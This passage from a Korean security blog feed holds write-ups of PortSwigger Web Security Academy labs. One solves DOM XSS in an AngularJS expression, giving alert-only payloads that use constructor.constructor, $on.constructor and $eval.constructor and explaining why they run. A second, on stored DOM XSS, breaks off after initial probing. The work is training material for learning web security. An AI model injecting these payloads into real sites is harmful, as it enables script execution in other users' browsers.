&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c1xpPR/dJMb99ULkmL/PbUT18uQ09rhkflC32yXQ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c1xpPR/dJMb99ULkmL/PbUT18uQ09rhkflC32yXQ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c1xpPR/dJMb99ULkmL/PbUT18uQ09rhkflC32yXQ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc1xpPR%2FdJMb99ULkmL%2FPbUT18uQ09rhkflC32yXQ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;검색어 입력할 때의 요청을 취득해서 `search` 파라미터에 특수문자 4개를 삽입했을 때의 응답을 확인해 보면 `&amp;lt;`,`&amp;gt;`은 HTML Entity로 치환되고 있음. 따라서 `&amp;lt;`,`&amp;gt;`을 사용한 HTML 태그 삽입은 제한되어 있다는 것을 알 수 있음.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1117&quot; data-origin-height=&quot;545&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cn5d8Q/dJMcadQln0k/EGrBhypG7HqVq021d9ZM0k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cn5d8Q/dJMcadQln0k/EGrBhypG7HqVq021d9ZM0k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cn5d8Q/dJMcadQln0k/EGrBhypG7HqVq021d9ZM0k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcn5d8Q%2FdJMcadQln0k%2FEGrBhypG7HqVq021d9ZM0k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;415&quot; data-origin-width=&quot;1117&quot; data-origin-height=&quot;545&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;`search` 파라미터에 `{{7*7}}`을 삽입한 결과 연산 결과인 `49`가 출력됨. 따라서 AngularJS 표현식을 사용할 수 있음.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1116&quot; data-origin-height=&quot;548&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bF3m2p/dJMcaixsgf1/2KeUlkT9vK4ryf0IRXeoB0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bF3m2p/dJMcaixsgf1/2KeUlkT9vK4ryf0IRXeoB0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bF3m2p/dJMcaixsgf1/2KeUlkT9vK4ryf0IRXeoB0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbF3m2p%2FdJMcaixsgf1%2F2KeUlkT9vK4ryf0IRXeoB0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;417&quot; data-origin-width=&quot;1116&quot; data-origin-height=&quot;548&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;AngularJS&amp;nbsp;표현식을&amp;nbsp;이용하여&amp;nbsp;`alert`&amp;nbsp;함수를&amp;nbsp;호출하는&amp;nbsp;페이로드를&amp;nbsp;삽입함.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[페이로드]&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1785044666829&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;!-- test 문자열은 Burp Suite에서 페이로드 삽입 부분을
빠르게 찾기 위해서 입력했습니다.--&amp;gt;
search=test{{constructor.constructor(&quot;alert(``xss``)&quot;)()}}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1121&quot; data-origin-height=&quot;548&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zG1Rp/dJMcabdUdKw/pBvaT86T00iQUMBiIZrvPk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zG1Rp/dJMcabdUdKw/pBvaT86T00iQUMBiIZrvPk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zG1Rp/dJMcabdUdKw/pBvaT86T00iQUMBiIZrvPk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzG1Rp%2FdJMcabdUdKw%2FpBvaT86T00iQUMBiIZrvPk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;416&quot; data-origin-width=&quot;1121&quot; data-origin-height=&quot;548&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;b&gt;&lt;b&gt;[설명]&lt;/b&gt;&lt;/b&gt;&lt;br /&gt;AngularJS 표현식에서 첫 번째 constructor의 경우 스코프 객체가 상속한 `Object` 생성자를 가리키며 일반적으로 `constructor.constructor`는 `Function` 생성자를 가리킨다고 한다. 그렇기 때문에 두 번째 `constructor`를 통해 `Function` 생성자에 접근할 수 있었다. 전달한 문자열로 함수가 생성되고 마지막 `()`을 통해 함수가 즉시 호출되므로 `alert` 함수가 호출되게 된다. AngularJS 1.6 이상부터는 Sandbox가 제거된 상태였고 1.7.7 환경에서도 해당 페이로드가 실행이 가능했다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;웹&amp;nbsp;페이지로&amp;nbsp;돌아가&amp;nbsp;보면&amp;nbsp;랩&amp;nbsp;문제가&amp;nbsp;해결된&amp;nbsp;것을&amp;nbsp;볼&amp;nbsp;수&amp;nbsp;있음.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ZGHbP/dJMcagsPyQx/uZOeXcgeXOoHYqDEDS1AMK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ZGHbP/dJMcagsPyQx/uZOeXcgeXOoHYqDEDS1AMK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ZGHbP/dJMcagsPyQx/uZOeXcgeXOoHYqDEDS1AMK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZGHbP%2FdJMcagsPyQx%2FuZOeXcgeXOoHYqDEDS1AMK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;실제로 `alert` 함수가 호출됐는지 확인하기 위해 검색어 입력 시 `alert` 함수를 호출하는 페이로드를 삽입하고 Search 버튼 클릭함.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pb4lY/dJMcaf1IoXo/phvTRXwegQZj2J2eF3tXq1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pb4lY/dJMcaf1IoXo/phvTRXwegQZj2J2eF3tXq1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pb4lY/dJMcaf1IoXo/phvTRXwegQZj2J2eF3tXq1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fpb4lY%2FdJMcaf1IoXo%2FphvTRXwegQZj2J2eF3tXq1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;`alert` 함수를 호출에 성공하며 XSS 공격에 취약하다는 것을 알 수 있음.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cmymTv/dJMcaaGeouf/w48btjqZkQdklqg1xXSpo1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cmymTv/dJMcaaGeouf/w48btjqZkQdklqg1xXSpo1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cmymTv/dJMcaaGeouf/w48btjqZkQdklqg1xXSpo1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcmymTv%2FdJMcaaGeouf%2Fw48btjqZkQdklqg1xXSpo1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;*** 추가 설명 - 페이로드&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다른 사람들은 랩 문제를 어떻게 풀었나 확인해 봤을 때 `$on.constructor()`, `$eval.constructor()` 을 사용해서 랩 문제를 해결하는 것을 볼 수 있었다. `$on`, `$eval`는 AngularJS의 `Scope` 객체가 제공하는 메서드라고 하며 일반적으로 Javascript에서 일반 함수의 `constructor`는 `Function` 생성자를 가리킨다고 한다. 따라서 `$on.constructor()`, `$eval.constructor()`도 `Function` 생성자에 접근할 수 있다. 이후 Javascript 코드를 문자열로 전달하고 생성된 함수를 호출하면 `alert` 와 같이 코드를 실행시킬 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[ `$on.constructor()`의 경우 ]&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1785053577825&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;test{{$on.constructor(&quot;alert(1)&quot;)()}}&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;검색어 입력할 때 `$on`이 함수인 것을 이용하여 `Function` 생성자에 접근해서 `alert` 함수를 호출하는 페이로드를 삽입하고 Search 버튼 클릭함.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dtvu3b/dJMcaiEcZFK/MIgU9kSvsxhVwK7WtYsHt1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dtvu3b/dJMcaiEcZFK/MIgU9kSvsxhVwK7WtYsHt1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dtvu3b/dJMcaiEcZFK/MIgU9kSvsxhVwK7WtYsHt1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdtvu3b%2FdJMcaiEcZFK%2FMIgU9kSvsxhVwK7WtYsHt1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;페이로드가 실행되면서 `alert` 함수가 호출됨.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dtie6C/dJMcaftUKgu/TbUP3Bl3A6lRZfrUQwQNkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dtie6C/dJMcaftUKgu/TbUP3Bl3A6lRZfrUQwQNkK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dtie6C/dJMcaftUKgu/TbUP3Bl3A6lRZfrUQwQNkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdtie6C%2FdJMcaftUKgu%2FTbUP3Bl3A6lRZfrUQwQNkK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt; [&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;`$eval.constructor()`의 경우 ]&lt;/span&gt; &lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1785053587763&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;test{{$eval.constructor(&quot;alert(1)&quot;)()}}&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;검색어 입력할 때 `$eval`이 함수인 것을 이용하여 `Function` 생성자에 접근해서 `alert` 함수를 호출하는 페이로드를 삽입하고 Search 버튼 클릭함.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cWk9ii/dJMcabdUg56/6iLYGFxXJ8ToaM8llzbkB0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cWk9ii/dJMcabdUg56/6iLYGFxXJ8ToaM8llzbkB0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cWk9ii/dJMcabdUg56/6iLYGFxXJ8ToaM8llzbkB0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcWk9ii%2FdJMcabdUg56%2F6iLYGFxXJ8ToaM8llzbkB0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;페이로드가 실행되면서 `alert` 함수가 호출됨.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bXAwf1/dJMb99NWraT/V0r8k7QW7CrNy0gbvrwhGk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bXAwf1/dJMb99NWraT/V0r8k7QW7CrNy0gbvrwhGk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bXAwf1/dJMb99NWraT/V0r8k7QW7CrNy0gbvrwhGk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbXAwf1%2FdJMb99NWraT%2FV0r8k7QW7CrNy0gbvrwhGk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>[WEB] CTF &amp;amp; Wargame/PortSwigger Web Security Academy</category>
      <category>angularjs expression</category>
      <category>angularjs xss</category>
      <category>dom-based xss with angularjs</category>
      <category>portswigger</category>
      <category>모의해킹</category>
      <category>모의해킹 공부</category>
      <author>0xSecurity</author>
      <guid isPermaLink="true">https://code000.tistory.com/43</guid>
      <comments>https://code000.tistory.com/entry/Lab-DOM-XSS-in-AngularJS-expression-with-angle-brackets-and-double-quotes-HTML-encoded#entry43comment</comments>
      <pubDate>Sun, 26 Jul 2026 17:25:07 +0900</pubDate>
    </item>
    <item>
      <title>Lab: Stored DOM XSS</title>
      <link>https://code000.tistory.com/entry/Lab-Stored-DOM-XSS</link>
      <description>&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 링크&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-stored&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;목표 &amp;amp; 사용 도구&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목표:&lt;/b&gt;&lt;span&gt; Stored DOM XSS 취약점을 이용해 `alert` 함수를 호출하는 것.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용도구:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;Burp Suite&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 설명&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 랩은 블로그 댓글 기능에 저장형(Stored) DOM 취약점이 존재한다. 랩 문제를 해결하기 위해서는 해당 취약점을 이용하여 `alert` 함수를 호출해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 풀이&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;게시물 페이지의 Leave a comment 부분에서 Comment, Name 필드에 `&amp;lt;s&amp;gt;` 태그를 삽입하고 Post Comment를 클릭함.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;989&quot; data-origin-height=&quot;659&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yELs3/dJMcahywcLR/2oJvq70PRPfZAskwwylmdk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yELs3/dJMcahywcLR/2oJvq70PRPfZAskwwylmdk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yELs3/dJMcahywcLR/2oJvq70PRPfZAskwwylmdk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyELs3%2FdJMcahywcLR%2F2oJvq70PRPfZAskwwylmdk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;466&quot; data-origin-width=&quot;989&quot; data-origin-height=&quot;659&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;b&gt;[설명]&lt;/b&gt; &lt;br /&gt;사용자&amp;nbsp;입력&amp;nbsp;값이&amp;nbsp;HTML&amp;nbsp;요소로&amp;nbsp;파싱되는지&amp;nbsp;확인하기&amp;nbsp;위해&amp;nbsp;`&amp;lt;s&amp;gt;`&amp;nbsp;태그를&amp;nbsp;사용했다.&amp;nbsp;`&amp;lt;s&amp;gt;`&amp;nbsp;태그는&amp;nbsp;스크립트를&amp;nbsp;실행하지&amp;nbsp;않고&amp;nbsp;취소선&amp;nbsp;적용&amp;nbsp;여부를&amp;nbsp;통해&amp;nbsp;HTML&amp;nbsp;파싱&amp;nbsp;결과를&amp;nbsp;확인할&amp;nbsp;수&amp;nbsp;있다.&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;개발자&amp;nbsp;도구를&amp;nbsp;이용해서&amp;nbsp;등록된&amp;nbsp;댓글을&amp;nbsp;확인해&amp;nbsp;보면&amp;nbsp;`&amp;lt;s&amp;gt;`&amp;nbsp;태그가&amp;nbsp;HTML&amp;nbsp;요소로&amp;nbsp;생성되지&amp;nbsp;않고&amp;nbsp;텍스트로&amp;nbsp;출력된&amp;nbsp;것을&amp;nbsp;볼&amp;nbsp;수&amp;nbsp;있음.&amp;nbsp;따라서&amp;nbsp;HTML&amp;nbsp;태그&amp;nbsp;삽입은&amp;nbsp;제한된&amp;nbsp;것으로&amp;nbsp;판단됨.&lt;/li&gt;
&lt;/ul&gt;
